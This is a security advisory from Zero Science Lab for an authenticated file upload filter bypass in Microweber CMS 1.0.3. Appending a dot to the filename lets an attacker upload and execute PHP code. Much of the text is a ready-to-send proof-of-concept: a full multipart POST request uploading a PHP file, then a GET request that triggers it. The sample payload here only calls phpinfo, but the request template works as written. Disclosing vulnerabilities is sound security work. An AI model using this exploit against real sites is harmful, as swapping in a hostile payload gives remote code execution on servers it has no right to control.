Microweber v1.0.3 File Upload Filter Bypass Remote PHP Code Execution


Vendor: Microweber Team
Product web page: http://www.microweber.com
Affected version: 1.0.3

Summary: Microweber is an open source drag and drop PHP/Laravel CMS licensed
under Apache License, Version 2.0 which allows you to create your own website,
blog or online shop.

Desc: Microweber suffers from an authenticated arbitrary command execution
vulnerability. The issue is caused due to the improper verification when
uploading files in '/src/Microweber/functions/plupload.php' script. This
can be exploited to execute arbitrary PHP code by bypassing the extension
restriction by putting the dot character at the end of the filename and uploading
a malicious PHP script file that will be stored in '/userfiles/media/localhost/uploaded'
directory.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5250
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5250.php


12.07.2015

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PoC Requests:
-------------

1.

POST /microweber-latest/plupload?token=1111111111222222222233333333334444444444&path=media%25255Clocalhost%25255C&path=media%255Clocalhost%255Cuploaded%255C HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 319
Origin: http://localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqX83MP6Cg5JpA193
Accept: */*
Referer: http://localhost/microweber-latest/editor_tools/plupload?type=explorer&filters=*&multiple=true&autostart=undefined&mwv=1.0.3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: mwui=%7B%22%23modules-and-layouts%2C%23tab_modules%2C.tst-modules%22%3A%22true%22%7D; recommend=%7B%22logo%22%3A1%7D; back_to_admin=http%3A//localhost/microweber-latest/admin/view%3Amodules/load_module%3Afiles%23path%3Dmedia%255Clocalhost%255Cuploaded%255C%26select-file%3Dhttp%3A//localhost/microweber-latest/userfiles/media/localhost/uploaded/phpinfo.php; laravel_session=eyJpdiI6ImNYNnkyWjJkOXZyTVRDMXlcL0pKQzBRPT0iLCJ2YWx1ZSI6Ilp6QjhDYjRRMEY4NGR5RzVuZGNxSnd1V3dGQ1R6OVdaWjZrZStiT1Q2bVM3UmRoQjNrak1ORzV5bXZjbzVDSitqdVVkdzdqOFVQa2hZdWRwMlwvMSttZz09IiwibWFjIjoiNGQxYzkwOTk4YmIzNTgzNWRiZmZlOTM4N2I2MzA1NjIzODcwNWRmMWM5ZDcwN2YxMGJlZmQ2ZjUxYmMzNjVjOSJ9

------WebKitFormBoundaryqX83MP6Cg5JpA193
Content-Disposition: form-data; name="name"

phpinfo.php.
------WebKitFormBoundaryqX83MP6Cg5JpA193
Content-Disposition: form-data; name="file"; filename="phpinfo.php."
Content-Type: application/octet-stream

<?php
phpinfo();
?>
------WebKitFormBoundaryqX83MP6Cg5JpA193--



2.

GET http://localhost/microweber-latest/userfiles/media/localhost/uploaded/phpinfo.php HTTP/1.1